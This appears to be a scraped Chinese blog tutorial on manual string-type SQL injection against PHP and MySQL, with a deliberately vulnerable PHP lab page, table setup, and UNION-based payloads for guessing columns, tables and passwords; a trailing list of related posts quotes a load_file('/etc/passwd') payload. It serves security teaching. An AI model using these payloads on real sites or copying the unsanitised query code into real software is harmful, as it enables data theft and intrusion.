SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

完整笔记地址https://www.cnblogs.com/LyShark/p/10632263.html

Web安全笔记:https://www.cnblogs.com/LyShark/category/1418348.html

什么是字符型注入以及原理

1)字符型注入简介:

字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 ···an ” (n>=0)。它是编程语言中表示文本的数据类型。

字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。

2)基本原理:

我们看看下面这条SQL语句:

$query="select first_name from users where id='$_GET['id']'";

这句SQL的语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等等。但是如果有人输入这样的内容呢?

1' union select database() #;

这样的话这句SQL语句就变成了这样:

select first_name from users where id='1'union select database()#'

这样的话,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的。以上只是一个简单的SQL注入的例子。

从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。

字符型SQL注入的关键—–单引号的闭合

MySQL数据库对于单引号的规则如下:

a. 单引号必须成对出现,否则数据库就会报错。
b. 如果两个单引号之间内容为空,数据库自动忽略。

应用程序数据库的字符型SQL语句为:

select * from tables where idproduct=’ ’;
select * from tables where name=’ fendo’;
select * from tables where data=’ //’;

字符型注入与数字型注入的区别

字符:除数字之外都是字符
数字:0-9

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’

字符型注入实战

构建练习环境

a.测试源码,放入/var/www/html/index.php目录下

<?php
$name=$_GET['username'];
$conn=mysql_connect("127.0.0.1","root","");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功 echo "<br>"; mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where username = '$name'"; //字符型搜索语句
$result=mysql_query($sql); while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
} mysql_close($conn); //关闭数据库连接 echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

b.创建数据表结构如下.

[root@localhost html]# mysql -uroot -p
Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is
Server version: 5.5.-MariaDB MariaDB Server Copyright (c) , , Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> create database fendo;
Query OK, row affected (0.00 sec) MariaDB [(none)]> use fendo;
Database changed MariaDB [fendo]> create table user(
-> id int not null,
-> username varchar() not null,
-> password varchar() not null,
-> email varchar() not null
-> );
Query OK, rows affected (0.07 sec) MariaDB [fendo]> MariaDB [fendo]> insert into user(id,username,password,email) values(,'admin','fendo','1181506874@qq.com');
Query OK, row affected (0.00 sec) MariaDB [fendo]> insert into user(id,username,password,email) values(,'lyshark','good','1181506874@qq.com');
Query OK, row affected (0.10 sec) MariaDB [fendo]> insert into user(id,username,password,email) values(,'guest','goods','1181506874@qq.com');
Query OK, row affected (0.00 sec) MariaDB [fendo]>

c.访问以下网址,获得截图效果即可.

http://192.168.1.11/index.php?username=lyshark

猜字段数

index.php?username=lyshark' union select 1,2,3,4 and '1'='1

上图可知,爆出1,2,3 接着更换SQL语句得出当前的数据库名字与数据库版本.

index.php?username=lyshark' union select database(),version(),3,4 and '1'='1

上图可以清楚的看到,我们的数据库版本,和数据库名称已经被脱裤子了.

猜表名

获取表名使用 '+and+(select+count( * )+from+表名)>0+and+''=' 这种格式。

index.php?username=lyshark'+and+(select+count( * )+from+user)>0+and+''='

上图可以看到,并没报错,说明存在user这个表。

猜密码

index.php?username=admin' and password='fendo

上图没报错,说明密码正确

SQL注入之PHP-MySQL实现手工注入-字符型的更多相关文章

  1. Mysql查询语句中字符型字段不区分大小写解决方法

    项目中和前端联调的时候,发现Mysql查询语句中字符型字段值过滤是不区分大小写的,之前没有关注过这个设置,特意去网上看了下,原因是Mysql中“COLLATE”属性区分大小写,而该属性默认值为“utf ...

  2. MySQL整形手工注入

    0x1 判断注入点: http://www.xxx.org/members.php?id=1 and 1=1 --+ # ture http://www.xxx.org/members.php?id= ...

  3. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  4. Sql server字段排序,如果字段是字符型的数字

    SELECT id , rownum FROM test ))),) ASC 1.如果想要根据字符型的数字排序,不建议转换成数字类型在order by,因为数据存在字符时,可能转换失败. 2.使用RI ...

  5. SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  6. phpcms手工注入教程

    目标服务器(靶机):192.168.1.27 目标网站:http://192.168.1.27:8083 步骤: 一.靶机操作 1.进入靶机,查看IP地址: 开始-运行,输入cmd回车,出现命令行窗口 ...

  7. 字符型SQL注入

      字符型SQL注入 很早就基于DVWA实现了字符型的SQL注入,但是一直感觉自己没有理解的特别清楚,这次又看了一下网上的一些讲解,试着总结一下.以下是我的一写浅薄见解,请大家批判着看. 基本原理 看 ...

  8. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  9. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

  10. 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法

    SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...

随机推荐

  1. iOS后台唤醒实战:微信收款到账语音提醒技术总结

    1.前言 微信为了解决小商户老板们在频繁交易中不方便核对.确认到账的功能痛点,产品MM提出了新版本需要支持收款到账语音提醒功能.本文借此总结了iOS平台上的APP后台唤醒和语音合成.播放等一系列技术开 ...

  2. 2019.02.09 codeforces451 E. Devu and Flowers(容斥原理)

    传送门 题意简述:给出n堆花,对于第j堆,有f[j]朵花,每堆花的颜色不同,现在要从中选出s朵,求方案数. 思路: 假设所有花没有上限直接插板法,现在有了上限我们用容斥扣掉多算的 状压一下再容斥:fi ...

  3. 牛客训练:小a与黄金街道(欧拉函数+快速幂)

    题目链接:传送门 思路:欧拉函数的性质:前n个数的欧拉函数之和为φ(n)*n/2,由此求出结果. 参考文章:传送门 #include<iostream> #include<cmath ...

  4. Win7命令行编译cuda及设置Windows显卡响应时间

    在开始菜单中找到Visual Studio 2013 >> Visual Studio Tools 选择86或64版本的VC命令提示符环境,我用的 VS2013 x86 Native To ...

  5. boost-数据类型之auto、any、tuple、variant

    1.auto.decltype   auto是C++11中的关键字,它可以通过类型推导自动得到变量或对象的类型,需要注意的是auto会忽略引用,因为引用其实就代表原对象: #include <v ...

  6. nullptr(c++11)

    1.概念 用字面值常量nullptr来初始化或赋值来得到空指针 2.c++11之前使用NULL或0 1)NULL是一个宏定义(预处理变量),定义在cstdlib中,其值就是0:对于预处理变量,预处理器 ...

  7. c语言spline

    #define NRANSI #include "nrutil.h" void spline(float x[], float y[], int n, float yp1, flo ...

  8. IntelliJ IDEA 2017版 spring-boot搭建拦截器

    1.建立一个springboot-web项目 https://www.cnblogs.com/liuyangfirst/p/8298588.html 2.加入过滤接口 public class Log ...

  9. jdk1.6的配置

    执行下列命令安装jdk1.7 /usr/lib/jvm$ sudo apt-get install openjdk-7-jdk openjdk-7-jre 会得到下面这两个文件: 查看当前jdk版本: ...

  10. 同时安装python2.7和python3.5

    同时安装python2.7和python3.5,并配置sublime ctrl+B选择运行python版本 安装python 首先是安装两个版本的python,并配置相应的环境变量 1.在下载安装好P ...